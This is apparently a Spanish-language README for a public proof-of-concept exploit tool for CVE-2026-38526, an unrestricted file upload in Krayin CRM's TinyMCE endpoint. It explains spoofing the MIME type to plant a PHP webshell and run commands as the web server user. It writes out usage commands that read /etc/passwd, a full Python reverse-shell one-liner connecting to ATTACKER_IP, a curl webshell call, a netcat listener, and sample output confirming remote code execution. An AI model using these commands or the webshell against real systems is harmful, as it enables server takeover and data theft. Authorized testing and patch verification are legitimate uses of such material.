CVE-2026-38526 - Krayin CRM PHP Upload RCE

Exploit automatizado para Krayin CRM ≤ 2.2.x. Este script explota una vulnerabilidad de subida de archivos sin restricciones en el endpoint de TinyMCE (/admin/tinymce/upload), evade la validación del tipo MIME falsificando image/jpeg, sube una webshell PHP y ejecuta comandos arbitrarios con los privilegios del servidor web.

Detalles de la vulnerabilidad

Requisitos previos

• Python 3.7+
• Credenciales de administrador válidas para la instancia de Krayin CRM objetivo
• Acceso de red a la aplicación objetivo
• Librería requests

Instalación

git clone https://github.com/b0nyo/CVE-2026-38526.git
cd CVE-2026-38526
pip3 install -r requirements.txt

Uso

python3 CVE-2026-38526.py -i <TARGET_URL> -u <USERNAME> -p <PASSWORD> [-c <COMMAND>]

Argumentos

Ejemplos

# Basic check
python3 CVE-2026-38526.py -i http://target.com -u [email protected] -p "AdminPassword123!"

# Custom command
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "cat /etc/passwd"

# Reverse shell
python3 CVE-2026-38526.py -i target.com -u [email protected] -p "AdminPassword123!" -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"

Flujo del exploit

1. Autenticación: Extraer el token CSRF de la página de inicio de sesión y autenticarse con las credenciales proporcionadas
2. Validación de sesión: Extraer un token CSRF nuevo del panel autenticado
3. Subida de webshell: Subir el payload PHP a /admin/tinymce/upload con tipo MIME falsificado
4. Ejecución de comandos: Ejecutar comandos arbitrarios mediante el parámetro GET de la webshell

Salida de ejemplo

[*] Target: http://target.com
[*] Username: [email protected]

[*] Authenticating...
[+] Authentication successful

[*] Uploading webshell...
[+] Webshell uploaded: http://target.com/storage/tinymce/abc123def456.php
[+] CVE-2026-38526 CONFIRMED - Remote Code Execution

[*] Executing: id
[*] Output:
────────────────────────────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
────────────────────────────────────────────────────────────────────

[*] Manual execution (curl):
curl 'http://target.com/storage/tinymce/abc123def456.php?cmd=id'

Problemas comunes

Error de autenticación: Verifique que las credenciales sean correctas y que la cuenta exista en el objetivo.

Error al extraer el token CSRF: Asegúrese de que el objetivo ejecuta una versión vulnerable de Krayin CRM y de que el endpoint de inicio de sesión sea accesible.

La shell inversa no se conecta: Asegúrese de que su listener esté en ejecución (nc -lvnp <PORT>), de que las reglas del firewall permitan conexiones salientes y de que la IP/puerto del payload sean correctos.

Descargo de responsabilidad

Esta herramienta se proporciona estrictamente para pruebas de seguridad autorizadas y fines educativos únicamente. El acceso no autorizado a sistemas informáticos es ilegal. Los usuarios son los únicos responsables de asegurarse de contar con la autorización adecuada antes de probar cualquier sistema objetivo. El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.

Referencias

• TREXNEGRO Security Advisory - CVE-2026-38526
• Krayin CRM GitHub
• OWASP - Subida de archivos sin restricciones

Autor

b0nyo - Implementación del PoC

• GitHub

TREXNEGRO - Descubrimiento de la vulnerabilidad

• Security Advisories